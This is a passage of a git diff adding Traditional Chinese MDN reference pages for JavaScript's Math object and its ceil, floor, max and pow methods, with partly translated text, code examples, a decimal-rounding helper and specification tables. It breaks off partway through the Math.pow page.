+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.abs")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/math/ceil/index.html b/files/zh-tw/web/javascript/reference/global_objects/math/ceil/index.html
new file mode 100644
index 0000000000..7ce7174f0b
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/math/ceil/index.html
@@ -0,0 +1,170 @@
+---
+title: Math.ceil()
+slug: Web/JavaScript/Reference/Global_Objects/Math/ceil
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.ceil()</code></strong> 函式會回傳大於等於所給數字的最小整數。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ceil.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>Math.ceil(<var>x</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>一個數字。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個大於等於指定數字的最小整數。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>Because <code>ceil()</code> is a static method of <code>Math</code>, you always use it as <code>Math.ceil()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> is not a constructor).</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_Math.ceil()">使用 <code>Math.ceil()</code></h3>
+
+<p>The following example shows example usage of <code>Math.ceil()</code>.</p>
+
+<pre class="brush: js">Math.ceil(.95);    // 1
+Math.ceil(4);      // 4
+Math.ceil(7.004);  // 8
+Math.ceil(-0.95);  // -0
+Math.ceil(-4);     // -4
+Math.ceil(-7.004); // -7
+</pre>
+
+<h3 id="Decimal_adjustment">Decimal adjustment</h3>
+
+<pre class="brush: js">// Closure
+(function() {
+  /**
+   * Decimal adjustment of a number.
+   *
+   * @param {String}  type  The type of adjustment.
+   * @param {Number}  value The number.
+   * @param {Integer} exp   The exponent (the 10 logarithm of the adjustment base).
+   * @returns {Number} The adjusted value.
+   */
+  function decimalAdjust(type, value, exp) {
+    // If the exp is undefined or zero...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // If the value is not a number or the exp is not an integer...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Shift
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Shift back
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Decimal round
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Decimal floor
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Decimal ceil
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Round
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+// Floor
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Ceil
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.6', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.ceil")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/math/floor/index.html b/files/zh-tw/web/javascript/reference/global_objects/math/floor/index.html
new file mode 100644
index 0000000000..5587d60838
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/math/floor/index.html
@@ -0,0 +1,169 @@
+---
+title: Math.floor()
+slug: Web/JavaScript/Reference/Global_Objects/Math/floor
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.floor()</code></strong> 函式會回傳小於等於所給數字的最大整數。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-floor.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>Math.floor(<var>x</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>數字型態。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>小於等於所給數字的最大整數。</p>
+
+<h2 id="描述">描述</h2>
+
+<p> <code>floor()</code> 是 <code>Math</code>的靜態函式, 所以不需實體化<code>Math</code> 物件, 只要直接呼叫 <code>Math.floor()</code>就能使用。</p>
+
+<p>(此外<code>Math</code> 並不是建構子).</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_Math.floor">使用 <code>Math.floor()</code></h3>
+
+<pre class="brush: js">Math.floor( 45.95); //  45
+Math.floor( 45.05); //  45
+Math.floor(  4   ); //   4
+Math.floor(-45.05); // -46
+Math.floor(-45.95); // -46
+</pre>
+
+<h3 id="Decimal_adjustment">Decimal adjustment</h3>
+
+<pre class="brush: js">// Closure
+(function() {
+  /**
+   * Decimal adjustment of a number.
+   *
+   * @param {String}  type  The type of adjustment.
+   * @param {Number}  value The number.
+   * @param {Integer} exp   The exponent (the 10 logarithm of the adjustment base).
+   * @returns {Number} The adjusted value.
+   */
+  function decimalAdjust(type, value, exp) {
+    // If the exp is undefined or zero...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // If the value is not a number or the exp is not an integer...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Shift
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Shift back
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Decimal round
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Decimal floor
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Decimal ceil
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Round
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+// Floor
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Ceil
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.9', 'Math.floor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.floor', 'Math.floor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.floor', 'Math.floor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.floor")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/math/index.html b/files/zh-tw/web/javascript/reference/global_objects/math/index.html
new file mode 100644
index 0000000000..c67999150e
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/math/index.html
@@ -0,0 +1,196 @@
+---
+title: Math
+slug: Web/JavaScript/Reference/Global_Objects/Math
+tags:
+  - JavaScript
+  - Math
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Math
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math</code></strong> 是一個擁有數學常數及數學函數（非函式物件）屬性及方法的內建物件。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>不像其他的全域物件，<code>Math</code> 並非建構函式。所有 <code>Math</code> 的屬性及方法皆為靜態。你可以使用 <code>Math.PI</code> 來參考到圓周率 pi 的常數值，以及可以呼叫 <code>Math.sin(x)</code> 函式來計算三角函數正弦曲線 sine（<code>x</code> 為方法的引數）。常數是由 JavaScript 中實數的完整精度來定義。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{jsxref("Math.E")}}</dt>
+ <dd>歐拉常數 (此指自然常數) ，也是自然對數的底數，約為2.718。</dd>
+ <dt>{{jsxref("Math.LN2")}}</dt>
+ <dd>2 的自然對數，約為0.693。</dd>
+ <dt>{{jsxref("Math.LN10")}}</dt>
+ <dd>10 的自然對數，約為2.303。</dd>
+ <dt>{{jsxref("Math.LOG2E")}}</dt>
+ <dd>以 2 為底的 E 的對數，約為1.443。</dd>
+ <dt>{{jsxref("Math.LOG10E")}}</dt>
+ <dd>以 10 為底的 E 的對數，約為0.434。</dd>
+ <dt>{{jsxref("Math.PI")}}</dt>
+ <dd>一個圓的圓周和其直徑比值，約為 3.14159。</dd>
+ <dt>{{jsxref("Math.SQRT1_2")}}</dt>
+ <dd>1/2的平方根；也就是1除以2的平方根，約為 0.707。</dd>
+ <dt>{{jsxref("Math.SQRT2")}}</dt>
+ <dd>2的平方根，約為 1.414。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<div class="note">
+<p>注意三角函數 <span style="font-size: 1rem; letter-spacing: -0.00278rem;">(</span><code style="font-style: normal; letter-spacing: -0.00278rem;">sin()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, </span><code style="font-style: normal; letter-spacing: -0.00278rem;">cos()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, </span><code style="font-style: normal; letter-spacing: -0.00278rem;">tan()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, </span><code style="font-style: normal; letter-spacing: -0.00278rem;">asin()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, </span><code style="font-style: normal; letter-spacing: -0.00278rem;">acos()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, </span><code style="font-style: normal; letter-spacing: -0.00278rem;">atan()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, </span><code style="font-style: normal; letter-spacing: -0.00278rem;">atan2()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">) 的參數或回傳值的角度皆以弧度為單位。把角度乘上 </span><code style="font-style: normal; letter-spacing: -0.00278rem;">(Math.PI / 180)</code> 會得到弧度單位，將弧度除以該數則會轉換回一般所用的角度單位。</p>
+</div>
+
+<div class="note">
+<p>注意許多數學方法的精度是取決於實作方式的。這意味著不同的瀏覽器可能會得到不同的結果，甚至同一個 JS引擎在不同的作業系統或架構上所得到的結果都有可能相異。</p>
+</div>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Math/abs", "Math.abs(x)")}}</dt>
+ <dd>回傳 x 的絕對值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/acos", "Math.acos(x)")}}</dt>
+ <dd>回傳 x 的反餘弦值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/acosh", "Math.acosh(x)")}}</dt>
+ <dd>Returns the hyperbolic arccosine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asin", "Math.asin(x)")}}</dt>
+ <dd>回傳 x 的反正弦值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/asinh", "Math.asinh(x)")}}</dt>
+ <dd>Returns the hyperbolic arcsine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan", "Math.atan(x)")}}</dt>
+ <dd>回傳 x 的反正切值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/atanh", "Math.atanh(x)")}}</dt>
+ <dd>Returns the hyperbolic arctangent of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan2", "Math.atan2(y, x)")}}</dt>
+ <dd>Returns the arctangent of the quotient of its arguments.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cbrt", "Math.cbrt(x)")}}</dt>
+ <dd>回傳 x 的立方根值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/ceil", "Math.ceil(x)")}}</dt>
+ <dd>回傳不小於 x 的最小整數值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/clz32", "Math.clz32(x)")}}</dt>
+ <dd>Returns the number of leading zeroes of a 32-bit integer.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cos", "Math.cos(x)")}}</dt>
+ <dd>回傳 x 的餘弦值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/cosh", "Math.cosh(x)")}}</dt>
+ <dd>Returns the hyperbolic cosine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/exp", "Math.exp(x)")}}</dt>
+ <dd>回傳 E<sup>x</sup>，x 為給定數值，E 為歐拉常數 (自然對數的底數)。</dd>
+ <dt>{{jsxref("Global_Objects/Math/expm1", "Math.expm1(x)")}}</dt>
+ <dd>回傳 <code>exp(x)</code> 減去1的值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/floor", "Math.floor(x)")}}</dt>
+ <dd>回傳不大於 x 的最大整數值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/fround", "Math.fround(x)")}}</dt>
+ <dd>Returns the nearest <a href="http://en.wikipedia.org/wiki/Single-precision_floating-point_format" title="link to the wikipedia page on single precision">single precision</a> float representation of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/hypot", "Math.hypot([x[, y[, …]]])")}}</dt>
+ <dd>回傳參數平方之和的平方根。</dd>
+ <dt>{{jsxref("Global_Objects/Math/imul", "Math.imul(x, y)")}}</dt>
+ <dd>Returns the result of a 32-bit integer multiplication.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log", "Math.log(x)")}}</dt>
+ <dd>回傳 x 的自然對數值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/log1p", "Math.log1p(x)")}}</dt>
+ <dd>回傳 <code>1 + x</code> 的自然對數值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/log10", "Math.log10(x)")}}</dt>
+ <dd>回傳以 10 為底，x 的對數值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/log2", "Math.log2(x)")}}</dt>
+ <dd>回傳以 2 為底，x 的對數值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/max", "Math.max([x[, y[, …]]])")}}</dt>
+ <dd>回傳給定數值中的最大值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/min", "Math.min([x[, y[, …]]])")}}</dt>
+ <dd>回傳給定數值中的最小值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/pow", "Math.pow(x, y)")}}</dt>
+ <dd>回傳 x 的 y 次方，也就是 <code>x<sup>y</sup></code>。</dd>
+ <dt>{{jsxref("Global_Objects/Math/random", "Math.random()")}}</dt>
+ <dd>回傳一個 0 到 1 之間的偽隨機值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/round", "Math.round(x)")}}</dt>
+ <dd>回傳 x 的四捨五入值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/sign", "Math.sign(x)")}}</dt>
+ <dd>回傳 x 的正負號，也就是回傳 x 的正負。</dd>
+ <dt>{{jsxref("Global_Objects/Math/sin", "Math.sin(x)")}}</dt>
+ <dd>回傳 x 的正弦值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/sinh", "Math.sinh(x)")}}</dt>
+ <dd>Returns the hyperbolic sine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sqrt", "Math.sqrt(x)")}}</dt>
+ <dd>回傳 x 的正平方根。</dd>
+ <dt>{{jsxref("Global_Objects/Math/tan", "Math.tan(x)")}}</dt>
+ <dd>回傳 x 的正切值。</dd>
+ <dt>{{jsxref("Global_Objects/Math/tanh", "Math.tanh(x)")}}</dt>
+ <dd>Returns the hyperbolic tangent of a number.</dd>
+ <dt><code>Math.toSource()</code> {{non-standard_inline}}</dt>
+ <dd>回傳字串 <code>"Math"</code>。</dd>
+ <dt>{{jsxref("Global_Objects/Math/trunc", "Math.trunc(x)")}}</dt>
+ <dd>Returns the integral part of the number x, removing any fractional digits.</dd>
+</dl>
+
+<h2 id="擴充_Math_物件">擴充 <code>Math</code> 物件</h2>
+
+<p>As most of the built-in objects in JavaScript, the <code>Math</code> object can be extended with custom properties and methods. To extend the <code>Math</code> object, you do not use 'prototype'. Instead, you directly extend <code>Math</code>:</p>
+
+<pre>Math.propName = propValue;
+Math.methodName = methodRef;</pre>
+
+<p>For instance, the following example adds a method to the <code>Math</code> object for calculating the <em>greatest common divisor</em> of a list of arguments.</p>
+
+<pre class="brush: js">/* Variadic function -- Returns the greatest common divisor of a list of arguments */
+Math.gcd = function() {
+    if (arguments.length == 2) {
+        if (arguments[1] == 0)
+            return arguments[0];
+        else
+            return Math.gcd(arguments[1], arguments[0] % arguments[1]);
+    } else if (arguments.length &gt; 2) {
+        var result = Math.gcd(arguments[0], arguments[1]);
+        for (var i = 2; i &lt; arguments.length; i++)
+            result = Math.gcd(result, arguments[i]);
+        return result;
+    }
+};</pre>
+
+<p>Try it:</p>
+
+<pre class="brush: js">console.log(Math.gcd(20, 30, 15, 70, 40)); // `5`</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8', 'Math')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math-object', 'Math')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>New methods {{jsxref("Math.log10()", "log10()")}}, {{jsxref("Math.log2()", "log2()")}}, {{jsxref("Math.log1p()", "log1p()")}}, {{jsxref("Math.expm1()", "expm1()")}}, {{jsxref("Math.cosh()", "cosh()")}}, {{jsxref("Math.sinh()", "sinh()")}}, {{jsxref("Math.tanh()", "tanh()")}}, {{jsxref("Math.acosh()", "acosh()")}}, {{jsxref("Math.asinh()", "asinh()")}}, {{jsxref("Math.atanh()", "atanh()")}}, {{jsxref("Math.hypot()", "hypot()")}}, {{jsxref("Math.trunc()", "trunc()")}}, {{jsxref("Math.sign()", "sign()")}}, {{jsxref("Math.imul()", "imul()")}}, {{jsxref("Math.fround()", "fround()")}}, {{jsxref("Math.cbrt()", "cbrt()")}} and {{jsxref("Math.clz32()", "clz32()")}} added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math-object', 'Math')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/math/max/index.html b/files/zh-tw/web/javascript/reference/global_objects/math/max/index.html
new file mode 100644
index 0000000000..1f53898090
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/math/max/index.html
@@ -0,0 +1,117 @@
+---
+title: Math.max()
+slug: Web/JavaScript/Reference/Global_Objects/Math/max
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/max
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.max()</code></strong> 函式會回傳零或多個數字中的最大值。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-max.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>Math.max([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>value1, value2, ...</code></dt>
+ <dd>Numbers.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>The largest of the given numbers. If at least one of the arguments cannot be converted to a number, {{jsxref("NaN")}} is returned.</p>
+
+<h2 id="說明">說明</h2>
+
+<p>Because <code>max()</code> is a static method of <code>Math</code>, you always use it as <code>Math.max()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> is not a constructor).</p>
+
+<p>If no arguments are given, the result is -{{jsxref("Infinity")}}.</p>
+
+<p>If at least one of arguments cannot be converted to a number, the result is {{jsxref("NaN")}}.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Using_Math.max()">Using <code>Math.max()</code></h3>
+
+<pre class="brush: js">Math.max(10, 20);   //  20
+Math.max(-10, -20); // -10
+Math.max(-10, 20);  //  20
+</pre>
+
+<h4 id="Getting_the_maximum_element_of_an_array">Getting the maximum element of an array</h4>
+
+<p>{{jsxref("Array.prototype.reduce", "Array.reduce()")}} can be used to find the maximum element in a numeric array, by comparing each value:</p>
+
+<pre class="brush: js">var arr = [1,2,3];
+var max = arr.reduce(function(a, b) {
+    return Math.max(a, b);
+});
+</pre>
+
+<p>The following function uses {{jsxref("Function.prototype.apply()")}} to get the maximum of an array. <code>getMaxOfArray([1, 2, 3])</code> is equivalent to <code>Math.max(1, 2, 3)</code>, but you can use <code>getMaxOfArray()</code> on programmatically constructed arrays. This should only be used for arrays with relatively few elements.</p>
+
+<pre class="brush: js">function getMaxOfArray(numArray) {
+  return Math.max.apply(null, numArray);
+}</pre>
+
+<p>The new <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a> is a shorter way of writing the <code>apply</code> solution to get the maximum of an array:</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+var max = Math.max(...arr);
+</pre>
+
+<p>However, both spread (<code>...</code>) and <code>apply</code> will either fail or return the wrong result if the array has too many elements, because they try to pass the array elements as function parameters. See <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply#Using_apply_and_built-in_functions">Using <code>apply</code> and built-in functions</a> for more details. The <code>reduce</code> solution does not have this problem.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.max")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Math.min()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/math/pow/index.html b/files/zh-tw/web/javascript/reference/global_objects/math/pow/index.html
new file mode 100644
index 0000000000..00ccb041ae
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/math/pow/index.html
@@ -0,0 +1,107 @@
+---
+title: Math.pow()
+slug: Web/JavaScript/Reference/Global_Objects/Math/pow
+tags:
+  - 次方
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.pow()</code></strong> 函式回傳 <code>base</code> 的 <code>exponent</code> 次方（幂）值，也就是 <code>base<sup>exponent</sup></code>。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate"><code>Math.pow(<var>base</var>, <var>exponent</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>base</code></dt>
+ <dd>基數。</dd>
+ <dt><code>exponent</code></dt>
+ <dd>要乘上 <code>base</code> 幾次的指數。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>A number representing the given base taken to the power of the given exponent.</p>
+
+<h2 id="敘述">敘述</h2>
+
+<p>The <strong><code>Math.pow()</code></strong> function returns the <code>base</code> to the <code>exponent</code> power, that is, <code>base<sup>exponent</sup></code>, the base and the exponent are in decimal numeral system.</p>
+
+<p>由於 <code>pow()</code> 是 <code>Math</code> 的靜態方法，you always use it as <code>Math.pow()</code>, rather than as a method of a <code>Math</code> object you created（<code>Math</code> 並沒有建構子）。</p>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="使用_Math.pow">使用 <code>Math.pow()</code></h3>
+
+<pre class="brush: js notranslate">// simple
+Math.pow(7, 2);    // 49
+Math.pow(7, 3);    // 343
+Math.pow(2, 10);   // 1024
+// fractional exponents
+Math.pow(4, 0.5);  // 2 （4 的平方根）
+Math.pow(8, 1/3);  // 2 （8 的立方根）
+Math.pow(2, 0.5);  // 1.4142135623730951 （2 的平方根）
